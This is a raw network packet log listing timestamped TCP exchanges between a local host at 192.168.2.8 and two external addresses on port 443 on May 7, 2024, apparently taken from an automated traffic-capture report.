May 7, 2024 16:12:11.947135925 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.947962999 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.948012114 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.948162079 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.948201895 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.948862076 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.948911905 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.948976040 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.949017048 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.949729919 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.949779987 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.949911118 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.950158119 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.951833010 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.951841116 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.951879978 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.951906919 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.951921940 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.951941013 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.951977968 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.952805042 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.952847958 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.953006029 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.953006029 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.953032017 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.953167915 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.953183889 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.953222990 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.953231096 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.953255892 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.956073046 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.956089020 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.956130981 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.956144094 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.956170082 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.957931995 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.957947016 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.958005905 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.958013058 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.959054947 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.959073067 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.959121943 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.959135056 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.959544897 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.959558010 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.959608078 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.959616899 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.960737944 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.960752010 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.960792065 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.960808039 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.960835934 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.960983038 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.960994959 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.961025953 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:11.961030960 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:11.961051941 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.012816906 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.027337074 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.027364969 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.027437925 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.027456999 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.027503967 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.028537035 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.028559923 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.028600931 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.028614998 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.028630972 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.028650999 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.030342102 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.030363083 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.030433893 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.030455112 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.030493975 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.031460047 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.031481028 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.031538010 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.031553030 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.031594992 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.033351898 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.033368111 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.033436060 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.033452988 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.033495903 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.035171986 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.035195112 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.035250902 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.035265923 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.035303116 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.037010908 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.037025928 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.037072897 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.037086964 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.037118912 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.038856983 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.038871050 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.038925886 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.038940907 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.038981915 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.040678978 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.040693998 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.040747881 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.040765047 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.040779114 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.040807009 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.041997910 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.042011976 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.042059898 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.042067051 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.042093992 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.042112112 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.043822050 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.043838024 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.043910027 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.043915987 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.043958902 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.045619011 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.045636892 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.045682907 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.045687914 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.045722961 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.047492981 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.047517061 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.047571898 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.047576904 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.047616959 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.048605919 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.048629999 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.048710108 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.048710108 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.048716068 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.048757076 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.050499916 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.050522089 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.050576925 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.050581932 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.050618887 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.052544117 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.052572966 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.052607059 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.052611113 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.052644968 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.052651882 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.054403067 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.054425955 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.054474115 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.054477930 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.054507017 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.054517031 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.056262970 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.056282997 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.056348085 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.056353092 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.056385994 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.057245970 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.057264090 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.057311058 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.057323933 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.057368040 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.058150053 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.058209896 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.059072018 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.059144020 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.059149981 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.061186075 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.061209917 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.061253071 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.061259031 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.061266899 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.061316013 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.061321974 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.061331034 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.061372042 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.061674118 CEST	49711	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.061686993 CEST	443	49711	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197446108 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197495937 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197535038 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197555065 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.197566986 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197577953 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197607994 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.197628975 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197659969 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197674036 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.197683096 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197722912 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.197798967 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197881937 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197913885 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197945118 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197956085 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.197962046 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.197982073 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.198685884 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.198717117 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.198753119 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.198755026 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.198762894 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.198792934 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.198827028 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.198854923 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.198884964 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.198901892 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.198906898 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.198918104 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.198968887 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.199012041 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.201174974 CEST	49712	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.201194048 CEST	443	49712	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.499402046 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.499452114 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.499548912 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.499797106 CEST	49714	443	192.168.2.8	163.5.112.235
May 7, 2024 16:12:12.499804974 CEST	443	49714	163.5.112.235	192.168.2.8
May 7, 2024 16:12:12.500046968 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.500063896 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.500077009 CEST	49714	443	192.168.2.8	163.5.112.235
May 7, 2024 16:12:12.500236034 CEST	49714	443	192.168.2.8	163.5.112.235
May 7, 2024 16:12:12.500246048 CEST	443	49714	163.5.112.235	192.168.2.8
May 7, 2024 16:12:12.681668043 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.681998968 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.682035923 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.683068037 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.683141947 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.683499098 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.683557987 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.683636904 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.683646917 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.734946012 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.851212978 CEST	443	49714	163.5.112.235	192.168.2.8
May 7, 2024 16:12:12.851738930 CEST	49714	443	192.168.2.8	163.5.112.235
May 7, 2024 16:12:12.851758957 CEST	443	49714	163.5.112.235	192.168.2.8
May 7, 2024 16:12:12.852761030 CEST	443	49714	163.5.112.235	192.168.2.8
May 7, 2024 16:12:12.852823973 CEST	49714	443	192.168.2.8	163.5.112.235
May 7, 2024 16:12:12.853776932 CEST	49714	443	192.168.2.8	163.5.112.235
May 7, 2024 16:12:12.853825092 CEST	443	49714	163.5.112.235	192.168.2.8
May 7, 2024 16:12:12.853940010 CEST	49714	443	192.168.2.8	163.5.112.235
May 7, 2024 16:12:12.900111914 CEST	443	49714	163.5.112.235	192.168.2.8
May 7, 2024 16:12:12.907524109 CEST	49714	443	192.168.2.8	163.5.112.235
May 7, 2024 16:12:12.907536983 CEST	443	49714	163.5.112.235	192.168.2.8
May 7, 2024 16:12:12.908499956 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.908541918 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.908571959 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.908597946 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.908607006 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.908616066 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.908642054 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.908654928 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.908660889 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.908682108 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.908982038 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.909003019 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.909024954 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.909030914 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.909065008 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.909151077 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.909215927 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.909621954 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.909648895 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.909668922 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.909676075 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.909701109 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.909706116 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.909734964 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.909744024 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.909748077 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.909785986 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.909790039 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.910645008 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.910670042 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.910697937 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.910722017 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.910723925 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.910732985 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.910768032 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.910783052 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.910787106 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.911442041 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.911469936 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.911495924 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.911500931 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.911524057 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.911537886 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.911541939 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.911571026 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.911606073 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.911611080 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.911650896 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.912228107 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.912300110 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.912327051 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.912368059 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.912370920 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.912379980 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.912405014 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.913168907 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.913192987 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.913208008 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.913213015 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.913242102 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.913278103 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.913283110 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.913317919 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.914135933 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.914181948 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.953701019 CEST	49714	443	192.168.2.8	163.5.112.235
May 7, 2024 16:12:12.995769978 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.995852947 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.995873928 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.995882988 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.995912075 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.995918036 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.995946884 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.996599913 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.996650934 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.996655941 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.996691942 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.996916056 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.996973038 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.996989965 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.997034073 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.997958899 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.998006105 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.998090029 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.998136044 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.998531103 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.998581886 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.998655081 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.998697996 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.999427080 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:12.999480963 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:12.999960899 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:13.000010967 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:13.000027895 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:13.000072956 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:13.000812054 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:13.000869036 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:13.000931025 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:13.000976086 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:13.046200991 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:13.046243906 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:13.046273947 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:13.046304941 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:13.046328068 CEST	443	49713	172.67.135.164	192.168.2.8
May 7, 2024 16:12:13.046341896 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:13.046366930 CEST	49713	443	192.168.2.8	172.67.135.164
May 7, 2024 16:12:13.081763983 CEST	443	49713	172.67.135.164	192.168.2.8
